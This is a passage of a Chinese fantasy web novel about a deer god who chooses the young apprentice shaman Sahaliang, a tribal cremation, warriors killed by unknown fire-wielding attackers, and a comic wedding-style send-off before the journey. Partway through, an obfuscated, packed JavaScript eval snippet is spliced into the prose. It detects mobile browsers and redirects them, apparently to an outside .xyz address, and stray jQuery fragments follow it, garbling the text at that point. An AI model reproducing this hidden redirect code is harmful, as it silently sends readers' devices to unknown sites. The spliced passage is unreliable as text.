“什么乱七八糟的,你们的这些规矩是我定下的,还不是想改就改?你还是像从前一样,很是倔强。” 老萨满立刻对鹿神的话做出回应,她说: “如果被选中的这个人成功归来,得到与神灵同行的荣耀,将与这些年轻萨满一起,竞争我这个位子。” “我想说的是,如果这个人甚至没有通过成年的试炼,那么手下的这些年轻萨满将没有人信服他,这是我们人类的规矩,绝地天通,您一定要维护人类的尊严。” 乌娜吉萨满有自己的坚持,着重强调了“绝地天通”。她一向是部族之中最坚强,也最执着的人。 鹿神的表情有些无奈,他只好和老萨满说到: “你们现如今的人类都很厉害,有敢叫我名字的,还有敢跟我顶嘴的。” 神的威严不容冒犯,他直接将银白色的辰星从手中放出,像是放出一只小鸟,让它自己飘动着,寻找可以践行阿娜吉道路的年轻人。 老萨满没再说话,只是面带愠色的盯着他。 但人群把鹿神围的太严实了,辰星在这个圈子里左撞右撞,像是有了情感一样,能看得出来她也很急。 鹿神抬起手,用修长的手指一划,人群被一股看不见的力量推开一道缺口,辰星顺着缺口向后面的两名少年飞去。 4. 命运交缠 实际上,乌娜吉从未想过,自己在有生之年可以成为大萨满,为部族主持祭祀仪式。 她童年时的好友,阿娜吉,美丽而优雅,在历次祭祀上施放法术得心应手,又有着天生的战斗天赋。而她呢,永远只能跟在阿娜吉的身后,喊着“姐姐长、姐姐短”。 尤其是在阿娜吉与战士们一同击杀了巨熊,完成请神仪式之后,她得到了鹿神的垂怜,得以与鹿神一同在雪原上飞驰。乌娜吉还记得同伴们走在追猎巨熊的路上时,她只能在一旁为受伤的战士疗愈,使用她娴熟的治疗咒语。 但阿娜吉每一次都会夸赞乌娜吉医术的高超,那天,阿娜吉对她说: “只有拥有世间最柔软心地的人才能得到这么高超的医术,当然,同时又要杀伐果断。乌娜吉两者都拥有了,你一定能成为一个伟大的人。” 尽管鹿神将附有他神力的仪祭刀送给阿娜吉时,她着实嫉妒了好久。 但对待像太阳一样的阿娜吉,只单单是嫉妒都让她觉得自惭形秽。 为了追赶上阿娜吉的功业,乌娜吉日夜穿梭于山间,记下所有药草的功效,又牢牢记住萨满的口述史,她有着自己的坚持和执着。 直到上一任老萨满死前,将请神的权柄传给了乌娜吉。 “萨满的职责从来不只是学会操纵元素与精灵的法术,或是为人们预示未来。你是部族的领袖,今后你要带着大家前进,你的心思细腻,又有自己的原则,一定可以面面俱到。” 老萨满死前这么和她说着。 但鹿神并没有垂怜于她,因为请神的权柄没有传给阿娜吉,鹿神想要见到她只能在节日上。所以他才将附有自己神力的仪祭刀送给了阿娜吉,方便日日相见。 神灵的爱是自私的,喜怒无常,像是夏季的雷雨,得不到也是自然的事。 成为大祭司后,乌娜吉就再也没有离开过部族的营地,人们都羡慕她和阿娜吉的友谊,以及她们共同引导着部族走向未来的能力。 “看来,她已经找寻到了可以践行她生前所行道路的人了。” 鹿神看着辰星穿过人群,正像一只金翅雀,围着两个少年上下飞舞。 虽然阿沙已经成年,但看着辰星朝自己飞来还是涌起一阵突如其来的欣喜。不过,他也很快意识到辰星选择的不是他,自觉的向旁边退了一步。 萨哈良看着辰星停到自己身边,周围朝夕相处的人们正变得陌生,一齐盯着他看。 那些人的眼神中,有的是嫉妒,嫉妒他受神灵垂爱的荣耀。 有的则是不解,不解神灵破坏部族法则的理由。 还有的则是愤怒,愤怒神灵干涉人间事务的强横。 “吞下去。” “啊?什么?” 萨哈良不敢相信自己的耳朵,再三向鹿神确认神灵的命令。 “张开嘴,吞下去。” 少年慢慢松开牙关,颤抖着张开嘴。那颗银白色的辰星也不再围绕着他盘旋,而是缓缓的飞入他的口腔之中。 接触到牙床与舌头的那一刻,辰星就融化了。阿娜吉祖母生前的情感如海浪般席卷而来,呛的萨哈良跪到地上猛烈的咳嗽。 在这些情绪之中,有酸楚,有苦涩,有甜蜜,也有眼泪的咸。 这一切让年少不知愁滋味的萨哈良喘不上气,像被人攥紧了喉咙一般。他本能的摸到腰间的刀,上面镶嵌的宝石正和他吞下的辰星产生激烈的共振,发出温热的嗡鸣。 “多么复杂又敏感的情绪,这就是我爱世人的原因。” 鹿神在感慨着,一旁的萨满还是冷着脸,她在部族之中德高望重,因此台下的人们也和她一样板着脸,静静的看着萨哈良。 “这段与我同行的伟大旅途结束后,我会带他回来完成他的成年试炼,像所有的年轻萨满一样。” “您是神灵,我们都听您的安排。” 乌娜吉萨满向他微微欠身,低头说到。诚然像鹿神这样对人世间所谓“情商”二字缺乏认知的神灵,也听出了老萨满言语中隐隐的怨气。 是啊,他是神灵,自然都得听他的安排。 “将阿娜吉祖母火化吧,随后挑几个精壮的战士,准备下山。” 一旁的年轻萨满们和送葬队伍早已等候多时,这场葬礼已耽搁的太久,他们敲起萨满鼓吹起号角围绕着阿娜吉祖母的棺木开始舞蹈,人群再次鼎沸起来。 这时,走出了六名壮汉,他们依照传统,抬来用桦木皮制成的小船,将棺木放置其中。一旁的族人一同走上前去,各自将自己准备的礼物放在一旁。萨哈良静静的看着他们,尽管早已经历过多次,但这样隆重的葬礼,仍然让人感到震撼。 他走上前去,折下地上因为神力而生出的小花,摆在桦木船中。阿沙的妈妈见他这么做,也吆喝来部族里的女战士们一同采花,很快小船就被鲜艳的小花填满了。在花团锦簇之中,阿娜吉祖母看上去更加的慈祥了。 “偷偷跟你说,这其实是阿娜吉祖母生前最喜欢的一种花,叫做冰凌花,看来鹿神真的爱过。” 阿沙妈妈在一旁捂着嘴偷笑道,不过萨哈良也没有很理解这种情感的分量,年轻人不像中年人早已深刻的理解生死,将死亡理解为归途,他只是为亲人的离世而感到难过。 送葬队伍长长的,像是一条巨蟒穿行在林间,向着森林边缘的冰湖走去。乌娜吉萨满在最前面,唱着呼唤祖灵现身为祖母引路的神歌;年轻的萨满一边敲打萨满鼓,一边踏着四方步,旋转跳跃着跟在一旁。然后是高举武器守卫祖母棺木的战士们,他们举着长矛,上面装饰着用木头雕刻出的部族图腾,图腾上插着鹿角,系着五彩飘带。其余的人则是举着火把,为队伍殿后。 鹿神也变回那头巨大的神鹿,仰首阔步的在棺木旁边。 送葬台用松木制成,是秋季时存储到冬天的燃料,已经在冰湖旁搭好。台上是各家送来的兽皮铺底,昨天族人们准备的那张除了毛的鹿皮也在。那六名壮汉将祖母的桦木皮小船搬到上面,祖母的遗体正在中央,她生前使用的武器和衣物在旁边放着,然后是大家准备的礼物。 萨哈良能看到他与阿沙一同制成的猎弓和他的黑曜石小刀,这些礼物将伴随祖母前往彼岸。随后乌娜吉萨满再带领大家做最后的道别。 “听啊,北风中的祖灵们!”乌娜吉祖母敲打皮鼓,声音又变得洪亮有力起来。“这是你们的孩子阿娜吉,她一生的猎杀只为养活族人,从未因取乐残害生灵,她一生的功业只为带领族人得到荣耀。” “神灵在此一同见证,请为她指引道路,让她的灵魂不为冰雪所淹没。” 说罢,一旁高举着松明的战士将手中的火把扔向送葬台,熊熊的烈火瞬间将棺木吞噬。在常年冰封的北方,温暖的火焰被认为是神灵赐予,因此火葬也是最高的规格。 神鹿在旁边扬起头颅,发出响亮的哀鸣,声音在山谷间久久的回荡着。萨哈良在心底猜着,鹿神变回神鹿兴许是不想被众人看到他难过的一面。 大概两三个小时过去,送葬台只剩下一片灰烬。乌娜吉萨满走上前去将祖母的骨灰拾起,抛洒在了冰湖之中,葬礼至此也就结束了。 “为祖母送葬的勇士们,你们六个即刻出发,迎接被鹿神选中的荣耀,带上驯鹰,下山寻找其余的荒野诸神。” 乌娜吉萨满已经备好快马,部族的勇士从不懈怠,他们拿好武器,穿戴好护甲,一跃就跳上了马鞍,随后朝向营地的方向高声吹响口哨。 几秒钟过后,从密林深处飞出了六只雄鹰,它们径直飞向勇士举起的手臂上落下,勇士们等待着鹿神和萨满做最后的吩咐。 “一周时间,有任何蛛丝马迹迅速回信。” 鹿神又变回了人形,对勇士们吩咐道。紧接着,乌娜吉萨满又向他们说: “我会在营地带领年轻的萨满们与雄鹰共享视野,帮助你们寻找线索,去吧,向鹿神证明我们的虔诚!” 部族最优秀的战士们听完他们的话,与他们的家眷做了告别,朝着天空高声发出了战吼,吼声浑厚而充满杀气,有着地动山摇的势头,随后向南方疾驰而去。 “此行还没有定数,路途艰难,还望鹿神可以护佑他们安全。” 乌娜吉萨满向鹿神请求道,言语中已经没有了之前和他斗嘴时的桀骜,有的只是对部族未来的担忧。 “那是自然,来时的路我已将积雪融化,不必担心。” 随后参与葬礼的人群渐渐散去,回到了各自的家中。鹿神也跟着乌娜吉萨满回到祭场,在部族勇士归来前,他将一直在那里。 鹿神居住在部族营地的这段时间对于人类来说是有些太难熬了,那感觉就像成家立业的子女与父母同住,总是有各种各样的别扭。他就这么一直矗立在先前为祖母准备的祭场上,像是一尊雕像一般,灵体游离在灵魂界,借着雄鹰的眼睛俯瞰大地,所以也没人敢接近祭场。 老萨满安排那些年轻萨满在鹿神旁边坐下,共享雄鹰的视野,帮助鹿神寻找着荒野诸神的踪迹。 “萨哈良,老萨满喊你到她的占卜小屋去。” 萨哈良正在和阿沙练习弓术,刚刚瞄准上挂在树上的沙袋,一个萨满姐姐就跑过来,喊着他过去。 “你快去吧,等一会回来我们接着练。”阿沙看着他说道。 萨哈良轻轻放下弓弦,把弓和箭递给了阿沙,跟着萨满姐姐走了。 “姐姐,乌娜吉奶奶喊我什么事啊?”萨哈良跟在年轻萨满的身后,连连向她问到。 但萨满姐姐似乎不太想为他回答这个问题,始终沉默不语。 萨哈良也只好知趣的闭了嘴,远处的鹿神还是像雕塑一样一动不动,只是睁开眼睛,一直盯着他走进了乌娜吉的占卜小屋。 “奶奶,我把萨哈良带过来了。” 乌娜吉老萨满坐在自己铺满动物毛皮的椅子上,身前的长桌摆放着许多占卜所用的道具。小屋的天花板上挂着一串又一串的装饰,有各类猎物的骨头,也有人类的耳朵——那是部族历代抵抗外来者入侵的战争中,得到的战利品。 “乌娜吉奶奶......” 老萨满正在闭目养神,听到萨哈良的声音,慢慢睁开眼睛。 “你可能以为我叫你来是为了给你占卜,但你可能还没有认知,你的命运已经和神灵交缠在了一起,你的未来已经不是我能窥见的了。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16088664|179612||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 萨哈良听着乌娜吉的话,心里大概明白她的意思。 “我们的时间不多了,出去的六只雄鹰还能联系上的只剩下四只,鹿神对此忧心忡忡,已经连续六天没有动弹过了。” “这是因为什么?与萨满共享视野的雄鹰是突然失去联系了吗?” 他作为见习的萨满,心里很清楚萨满与动物的联结,只有死亡才能将其打断。 “我知道你的想法,是的,那两只雄鹰恐怕是已经死了,雄鹰的视野是远胜于我们的,但在他们遇袭前没有任何异样,只有炸雷般的响声,随后就失去了联系。” 乌娜吉为萨哈良解答着疑问,随后继续说道: “我作为一名占卜者,很清楚那两名战士恐怕也不在人世了,剩下的四人怕是也凶多吉少。” 她说完这句话,停下来顿了顿,向刚刚送萨哈良过来的年轻萨满招招手。 “哈拉,恐怕萨哈良与鹿神的这趟旅行要开始了,不管勇士们能不能回来,明天准备好为他们送行的仪轨,按最高规格去办。” “是,乌娜吉奶奶。” 说罢,那名叫做哈拉的萨满转身离去。 “去做好准备吧,部族的危机即将到来,你已经成年了,只是还没有经过试炼,现在到你们这些年轻人站出来的时刻了。” “是,乌娜吉奶奶。” 萨哈良刚准备转身离开,乌娜吉又叫住了他。 “把手给我。” 他不知道奶奶什么意思,只是把手伸了过去。 奶奶用羽毛蘸取了桌上一个木碗中盛着的不知名植物汁液,仔细的在萨哈良的手背画起了符咒。 “待我画完之后,你别动它,过一会就会干燥。” “这是我们部族的老萨满之间代代相传的符咒,可以替你抵挡灾厄。” 乌娜吉画完之后,萨哈良走出了占卜小屋。 萨哈良作为一名见习萨满的直觉已经告诉他危险将近,所以听乌娜吉这么说,也没有太大的实感,毕竟,这次旅行是与鹿神一起,这是何等的荣耀! 正想着,就走到了鹿神的面前。 虽然先前在祖母葬礼上与乌娜吉的唇枪舌战,似乎削弱了几分鹿神的威严,但见到像雕塑一般在这里冥想的神灵,萨哈良还是屏住了呼吸,偷偷打量着鹿神的面庞。 鹿神的长相与部族的人不同,他皮肤白皙,又是高眉深目,正像是北方森林中的麋鹿一样。五官精致的让人不禁赞叹原来这就是神灵。 而且他随意披在身上的长袍,仿佛从不在意人世间的看法,薄纱般的布料隐隐透出身体的轮廓,像极了起伏的山脉与河流,更是散发着神性。 萨哈良看着他许久,在眉目间看出了许多慈悲。 “来了。” 鹿神猛地睁开眼睛,他一直都知道萨哈良在一旁,只不过有更重要的事。他这么突然说话,吓得萨哈良差点蹦起来,刚刚回过神,一阵猛烈的马蹄声自营地外由远及近的传来。 来的不是别人,正是几日前派出去的勇士们。 只不过走的时候是六人六鹰六马,回来时只剩下三人二马,其中一人还是被战友的马驮回来的,身负重伤。 听见外面的声音,老萨满也从占卜小屋中走出,她看着归来的勇士,无力的靠在门框上,像是一个古老的预言终于灵验了。 “鹿神,乌娜吉萨满,我们下山后不久遭遇了袭击,带去的两只驯鹰被人杀死在了天上,他们拿着一支木筒,木筒中喷射火龙,顷刻之间就丢了性命。” “山下有一条巨大的黑龙盘踞在大地上,它口中冒着黑烟,时刻想要将我们吞噬!” 活着的两个人喘着粗气,争先恐后的向在场的人说着。 乌娜吉沉默了一会,问道: “马背上的是阿沙爸爸吗?他怎么了?” 鹿神抬起手,转瞬为阿沙爸爸治好了伤口,他微微抬起头,张口为大家描述了当时的场景。 “我们原本向着狗獾神的部族出发,进入森林后,路上标明狗獾神领地的图腾都被人破坏了,我们带去的驯鹰可能是为了躲避攻击,也失去了踪影。” “察觉到情况不对后,我们从马上下来,想着隐蔽自己,悄悄摸进去搜寻活人的踪迹,但一同前去的勇士被绳子绊倒,随后像夏夜雷鸣,他的肢体如下雨一样散落一地。” “我们赶紧上马,向着森林外的草原疾驰,但他们能取人性命于千里之外。” “乌娜吉奶奶,死后没有天上的雪原......生死之间......有大恐怖。” 阿沙爸爸原本已是濒死,见到了鬼门关,被鹿神不属于人间的力量强行救回,所以他才这么说吧。 尽管他已经脱离生命危险了,但还是累到昏睡过去。 “乌娜吉萨满,我们要准备出发了。” 鹿神死死盯着阿沙爸爸的伤口,恶狠狠的说。 无论是什么邪神作祟,敢于侵犯鹿神的子民,神灵是一定要降下天罚的。此时连萨哈良都看到了他身上燃起的怒火,仿佛要将天地吞噬。 鹿神咬紧牙关,一字一句的说道: “明天一早启程。” 5. 神明的婚礼 这一夜,对于部族来说是悲痛的,连天上的明月也被乌云掩盖了。许多小屋里昏黄的油灯就这么亮了一宿,走在营地的小路上,也能听见失去爱人、亲人、朋友的人们在低声哭泣着。但这对于部族的勇士来说,因为执行神明的任务而战死,是无上的荣耀。 昨天晚上,萨满们为三个人准备了活血化瘀的药酒让他们喝下,阿沙妈妈和阿沙也来带着爸爸回家了,萨哈良一直在旁边帮着忙。看着阿沙妈妈心疼的眼神,他第一次如此真诚的期盼着部族的未来能够走向光明。 “萨哈良,我爸爸他嘴里一直念叨着生死之间有大恐怖,这大恐怖究竟是什么啊?”阿沙头一次如此认真的思考这种问题,他也找不到别人诉说,只好询问担任见习萨满的萨哈良,就像历代部族中迷失道路的人,去询问老萨满一样。 但这个问题,萨哈良也无法解答。在他们的信仰中,死亡并不是一件令人恐惧的事情,当面对强敌时,人人都希望自己奋勇战斗的英姿可以被祖灵见证,这样才能在死后与部族的英杰一同驰骋于天上的雪原。 萨哈良也不认为是阿沙爸爸的胆怯,他们夫妇是部族里出了名的勇者。 “我觉得这是祖灵为你爸爸准备的试炼,在通往月亮的冰桥前赐予他生者的荣耀,只不过鹿神用神力把他救了回来,这是他的命运,也是被神选中的殊荣。” 这段话说出来,萨哈良自己也不能说服自己。这种念头,就像山间崖壁上随着时间风化的岩石,已经裂开了小小的缝隙,里面的崖柏正冒出了枝芽。 “不愧是萨哈良,轻易的就解答了我的疑惑,谢谢你。” 阿沙总是会选择相信自己聪明的朋友,萨哈良没有再和他多待下去,他害怕自己躲闪的目光会刺痛一个憧憬自己父亲的战士。 乌娜吉老萨满在一切安排妥当之后,吩咐萨哈良早早去睡觉,一大早就要准备和鹿神踏上旅途了。 一整夜,她都没有合上眼睛,为了部族的未来,她和鹿神聊了许久,只为了当神明不在时,部族可以独立面对危机。 “咚......咚......咚!” “萨哈良别睡了,快点起床出来了。” 凌晨四点刚到,年轻的萨满姐姐们就在屋外敲萨哈良的房门了。 他赶紧从床上跳起来,由于总是一大早就偷偷和阿沙出去狩猎,这个时候起床对他倒是没什么难度。 穿好衣服,萨哈良检查了一下桌子上的东西,又拿起阿娜吉祖母的仪祭刀,将小刀拔了出来,仔细检查,小心翼翼的把它挂在了腰间。这时,他注意到了昨天老萨满在他手背上画的符咒,和平时那些线条硬朗的符咒不同,它看起来像是藤蔓即将开出花朵一般,带着植物特有的柔美,却又有着无比的坚毅。 “萨哈良,你好了吗?” 萨哈良赶忙朝着门外跑去,刚一推开门,被眼前的萨满姐姐们吓了一跳: 此时营地里的小屋都已经亮起了灯,正准备着为鹿神和萨哈良即将开始的旅途送别,四处炊烟袅袅。但这都很正常,奇怪的是部族里的萨满姐姐们全都来了,她们有的拿着做工精美的衣服,有的拿着各种金属和宝石制成的饰品。 “姐姐......你们怎么都来了,有这么隆重吗?” 平时那些年轻萨满就喜欢捉弄这个见习小萨满,所以萨哈良看见这么多姐姐站在门外,其实是有点害怕的。 “别废话了,不能耽误了时间,姐妹们带他快走。” 昨天带萨哈良去见老萨满的那个哈拉也在其中,她走上前去拉着萨哈良的手就要走,后面的萨满姐姐们一同推着他往前跑。就这样,萨哈良被半推半就的赶进了一间小屋里。 “这是......” 还没等萨哈良问出口,哈拉就一把将他按在椅子上,部族里的女孩子们力气个个都很大,捏的他肩膀生疼。随后旁边的萨满姐姐们分工明确,一拥而上开始给他装扮起来。 “你看这个耳坠怎么样,是我从乌娜吉奶奶的梳妆盒里偷拿出来的,瞧瞧这做工,一准是从西边来的。” “不行,这个大的都像蝴蝶的翅膀了,戴我身上倒是好看!这孩子还没通过成年仪式呢,耳朵上还没打洞。” 哈拉萨满看着他们拿着老萨满的耳坠,赶紧抢过来: “我让你们带点首饰过来,怎么连乌娜吉奶奶的也拿来了?小心奶奶骂你!” 那个年轻的萨满有点不服气,噘着嘴说到: “哎呀,哈拉萨满你不还是也偷偷的戴过,我是没想到这老太太还挺臭美的。” “不许胡说,这是老太太......呸呸呸!老萨满第一次吩咐我办事,都给我机灵点!” 哈拉瞪了他们一眼,催着他们赶紧给萨哈良打扮好。 萨满姐姐抱著一件由羊毛织成,纹样华丽的棕褐色长袍套在了萨哈良身上,这件袍子不仅是拥有漂亮的图案,就连衣料的边缘都缀满了制作精美的流苏,上面也一样系着部族最喜欢的五色飘带。她还有着一点小巧思,把衣带系成了一个蝴蝶结。 另外一个姐姐则是解开了他头上的扎起的头发,在他胸前挂上了装饰有部族图腾的银器,虽然上面有着岁月带来的痕迹,但她们用麂皮精心擦过之后,还是闪闪发光。 最后,哈拉姐姐在萨哈良的头上,戴上了由各种银制吊坠组成的头饰,那些吊坠每一个都是部族附近常见动物的模样,精妙绝伦。 由于没有镜子,萨哈良也不知道自己被她们打扮成了什么样子,他听着银器之间撞击的哗啦啦声响,感觉自己就像穿行在林间求偶的山鸡。 他本来就生的俊俏,皮肤更是白皙,脸型也是瘦削中带着一点年轻人特有的圆润,经过姐姐们的一顿折腾,看上去实在是光彩照人。 “太美了......” 哈拉往后退了几步,仔细打量着萨哈良,一旁的萨满姐姐们也偷摸笑了起来。 只有萨哈良自己,从头到尾都不知道他们在干什么。 她招呼着其他的萨满打开门,扶起萨哈良,又往他头上罩了一块巨大的头巾,这块头巾和袍子使用了相同的布料,漂亮的流苏和长袍相得益彰。 门外的骏马此时已经准备好了,马鞍上也铺上了编织精细的毯子,脖子下面围着五彩的流苏和各种形状的银片,中间还有一个铜铃,随着马匹的活动发出悦耳清脆的响声。 萨哈良在萨满姐姐们的搀扶下,斜坐上马,哈拉在前面牵着,一行人朝着乌娜吉住处的方向走去。 在经过营地的小路时,屋里的族人们听到铜铃的响声,都自觉的打开门加入至为萨哈良送行的队伍中。他们像是参加什么盛大的典礼,每个人都穿着节日的盛装。 阿沙看到骑在马上的萨哈良,还兴奋的指给妈妈看。 只是萨哈良始终不明白,为什么部族里的姐姐阿姨们看见他都在笑? 可能是庆祝与神同行的荣耀吧。 萨满姐姐一齐举起了挂在腰间的萨满鼓,让鼓声与上面缀着的银铃一同响起,哈拉姐姐则是拿出了一支骨笛在前面为鼓声合奏,她们每每演奏至旋律的高潮,送行队伍中的人们就会一同欢呼,热闹极了。 “乌娜吉萨满,我们来接你了。” 哈拉萨满在乌娜吉的门前喊着,没过一会,她就推门走了出来。 “你们这是......” 很奇怪,显然就连乌娜吉也不知道人们这是在干嘛。 “乌娜吉奶奶,您昨天不是说按最高规格的礼仪来办吗?” “我那是让你......” 乌娜吉对于哈拉这孩子的大脑有点不知道该说什么好,她也明白,这是交给哈拉的第一次任务,她肯定是想办的漂漂亮亮的。 “因为部族里从来没有人得到过与神灵同行的荣耀,我不知道该是什么仪轨才能与之相配。我们最高等级的礼仪就是婚礼了。” 乌娜吉奶奶揉了揉太阳穴,她看见哈拉低下了头,应该是知道自己搞错了什么,脸也红红的,好像烫的都冒起了热气。 “没事,这么风风光光的办一次也挺好的,我们好久没有这么热闹过了。” 哈拉萨满听乌娜吉这么说,又猛的抬起了脑袋,连忙朝着乌娜吉点点头。 “我先前听山外面来的游商说过,外面的人使用一种叫做“钱”的东西,因为我们不用这个,所以和他们贸易经常是拿皮毛换,但一张皮也只能换点小玩意。” “这一趟路途遥远,我们又不可能给萨哈良装一车皮毛让他去卖,他身上的首饰正好到时候去换点钱用。” 乌娜吉快被哈拉弄笑了,叹了口气说道: “都行,办的挺好的。” 哈拉萨满可能真以为乌娜吉在夸她, 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原本鹿神身上来自于遥远古代的衣着与部族格格不入,它质感上乘,但神灵并不像人类那样喜欢复杂的纹饰,现在却与萨哈良身上繁复华丽的长袍与银制的装饰交相辉映,为现场染上一层只有神话中才能见到的史诗色彩。 萨满们都曾在部族的历史中听过千年之前人类于圣山与神灵立下誓约的场景,史诗中再华丽精巧的辞藻也描述不出来此刻的感受,大概也就是这种程度了。 “神灵,我们已经准备好送您启程了。” 乌娜吉萨满低下头,轻声对鹿神说到。 一听见她说完话,四周早已就位的年轻萨满们又齐刷刷的拿起了萨满鼓,哈拉萨满也将她的骨笛放在嘴边,喜悦、轻快,和谐的音乐再次响起,就像是冬日的暖阳令人心神愉悦。 听见这音乐响起,萨哈良好像看见她嘴角抽动了一下。 “你们......你们这是想干什么?” 鹿神从冥想中醒来,看见祭场上站满了人,可能也感到震惊。 乌娜吉萨满走进人群,牵着萨哈良的马把他带到鹿神的面前,随着马匹上银饰的响声,众人都盯着头巾下萨哈良的脸,他也不知道为什么突然感觉一阵害羞,低下了头。 “嘭!” 萨满们又敲起了鼓吹起了笛子,人们快乐的朝着萨哈良欢呼,喊叫,像是起哄。 “他穿的这是什么东西?” 乌娜吉抬头看了看鹿神,大感不妙,鹿神此时是真的嘴角抽动,好像太阳穴上的青筋已经能看见跳动了,看来神灵是要发怒了。 她急中生智,悄悄绕到马的身后,照着它的屁股狠狠拍了下去。 马匹受惊之后,扬起双蹄,抬头向天空发出一声嘶鸣,朝着山下的方向狂奔。 这一下马跑的太急,差点把萨哈良从马鞍上甩了下去。好在部族的子民精通骑术,慌乱时一把抓住了缰绳,密林之中久久回荡着他惊慌失措的尖叫声。 现场送行的人们也不知所措,抬头看着鹿神。他也没有再多废话,一下子化为神鹿跃过人群,追着萨哈良疾驰而去。 阿沙想起了自己还没有好好和萨哈良告别,也在后面追着。但那骏马跑的实在太快,他只好冲着山下喊道: “萨哈良!我等你回来一块练射箭!!!我妈妈在你马鞍旁边的皮袋子里放了食物,路上记得吃!!!!” 也不知道萨哈良有没有听见他的叫喊,山谷中还回响着他的尖叫声。 “年轻真好啊。” 目送着两人离开的乌娜吉奶奶感慨道。 萨哈良短暂的人生中第一次离开部族所在的森林,骏马跑出密林之后,他第一次觉得世界是如此宽广。从半山腰可以看见广阔的平原,黑水河蜿蜒着从河间谷地中缓缓流过,再抬头看看天空,金色的朝阳穿过厚重的云层,数道金光投射在大地上。 骏马跑的太快,身上掀起的长袍衣袂和林海间穿行而过时,那银饰的闪闪星光如同波光粼粼的湖面,他按着头上飘动的头巾,此时就像是一条游动的蛟龙,自由的在属于自己的天地间穿梭。 这是一部漫长史诗的起点,萨哈良曾用双脚丈量着森林的边界,如今,他仍然弱小,但也试着像北风一般,在土地上留下属于自己的痕迹,将泥土、坚石、高山,一切恒久不变之物重新认识,重新铭刻下属于自己的价值。 6. 成为他的容器 萨哈良的马就这么一路狂奔,他感觉乌娜吉奶奶像是赌上了部族的未来一样,拼尽全力使出这一掌,要是马像人一样皮肤上没有长着那么厚实的毛发,这会儿它的屁股上可能会出现一个红红的手印吧。 再加上鹿神也在后面追赶,马儿就更是害怕了。 下山的时候就这么东撞西撞,在密林间冲刺。萨哈良感觉脸上有一股暖流,他用手一摸,原来是被茂密的树枝划伤了脸颊。 “好马!好马!快停下!别再跑啦!” 萨哈良一边大声喊着,一边趴在马身上,生怕被它甩了下去,同时轻轻安抚马的脖子。 海拔降低之后气温要高了不少,山前草甸中的水洼在正午阳光的照射下,碎冰、干枯芦苇和泥浆混合在一起。 它被眼前的水洼拦住了去路,正停在岸边犹豫不决。 “好马儿,别再跑了,我是萨哈良啊,我之前老是抓蚂蚱给你吃的。” 马儿累的低头喘着粗气,身上也开始冒出汗来,粘稠的泛起白色泡沫。 萨哈良也被吓得精疲力尽,山路平时走都很危险,旁边有许多悬崖峭壁,更何况是狂奔。他本想趁马儿不注意,从马鞍上跳下去,结果刚想翻身,发现袍子上的坠饰和鞋子与马镫缠在了一起,他只好低头轻轻的尝试解开。 “乖马儿,我带你去吃草好不好,不要再跑了。” 他一只手解着马镫,一只手轻轻拍着马儿的胸前。 结果刚刚停下来没一会儿,身后的高山有传来地动山摇的声音,震得石头都开始滚落下来。马儿听见这动静,凭空一跃就跳进了水洼里。 要是天热的时候,草甸中的水潭更是危险,下面通常是深不可测的淤泥。他们外出打猎时经常会看见被野猪、老虎追到沼泽中受困死去的鹿,好在河水刚刚化冻,下面还很结实。 “鹿神!鹿神!快救救我!我在水洼里!” 萨哈良回头望见一团金色的光正在树林间穿梭,随着马儿在水洼里走的越来越远,水已经没过了膝盖,长袍和头巾吸饱了水之后像是一颗巨石,刺骨的寒冷让他没有力气再想办法从马上下来。听见他的喊叫声后,鹿神从半山腰跃起,直接跳到了水潭前。 马儿在感到背上的人越来越沉之后,趁着萨哈良没有抱紧它的脖子,用全力将他从马背上甩了下去。 水是极冷的,像是针扎般从四面八方向着萨哈良涌来。他挣扎着想要抓住什么,却只能抓到水洼中的碎冰,冰锋利的边缘和里面带着的树枝划破了他的手。努力从水面抬起头时,肺中的空气被冰水挤压成颤抖着不似人类的嚎叫,正从喉咙中向外迸着。 他最后看见的,是金光闪闪的神鹿,屹立在岸边。 萨哈良做了一个不知道过了多久的梦,梦里金色的阳光照得人暖洋洋的,那一天正是部族的庆典,他和阿沙一起练习着射箭,乌娜吉和阿娜吉奶奶两个人坐在摇椅上,看着年轻人们在玩耍。 但可惜,一转眼人们就消失不见,萨哈良看着好像能吸走所有光亮的黑暗混合着冰碴,向着他汹涌而来。 “怎么,你们人类这种小东西做梦还会说话的?” 萨哈良睁开眼,鹿神又重新化为人形,在端坐在一旁。 “诶,我的衣服?!” 此时天色已经渐渐暗下去,浓重的夜色被阻拦在刚刚鹿神升起的篝火之外,萨哈良的长袍正架在篝火旁边烤,那块可以从头盖到脚的巨大的头巾被他支起帐篷,护在萨哈良的头上。 此时他才明白萨满姐姐们的良苦用心,看来她们确实有认真考虑过。 “不帮你把衣服脱掉你就被冻死了。那身上披着的毛毯是我从马背上拿下来的,好在没怎么湿。” 听他这么说,萨哈良又把毛毯往上拉了拉,盖住脸看着在一旁吃草的马儿。 “这匹马是我从小喂大的,不知道它为什么这么害怕。” 鹿神听他这么说,也看了看那匹马,说道: “哼,你们的那个老萨满算是摆了我一道,感觉那一掌能把你这个小体格拍晕。再加上我化为鹿形追了一路,这种小畜生害怕也是正常。” 他看着萨哈良对那匹马担心的眼神,继续说道: “放心吧,后边还得用它赶路呢,我在它身上画了安神的符咒,不会死的。” 萨哈良也不敢问鹿神为什么会生气,两个人都心照不宣的没有再提起早晨那场婚礼的事。 “鹿神,我们接下来要去哪儿。” 鹿神闭上眼睛,像是思索着什么。 “还是从最近的狗獾神开始找起吧,上次听那几个战士的描述,感觉有些蹊跷。” “嗯......” 对于即将开始的旅途,萨哈良没有什么头绪。 “两百年前各个部族也曾经相互征伐,这次的变故会不会和那次内乱有关?” “不可能,上次的冲突我和荒野诸神之间心照不宣,那是你们人类的事务,与神灵无关。当时我们一同在灵魂界观察着人间的变故。” 萨哈良倒是从没想过,那么大的战争,原来神灵都在天上看着。 “那您知道阿沙爸爸说的那句,生与死界限间的恐怖是什么吗?” 随着和鹿神气氛的缓和,他也慢慢把毛毯放了下来。 “这不是你该问的问题,死后与祖灵一同狩猎于高天之上的雪原,一千多年来,部族都是这么认识死亡的。” “对不起......” 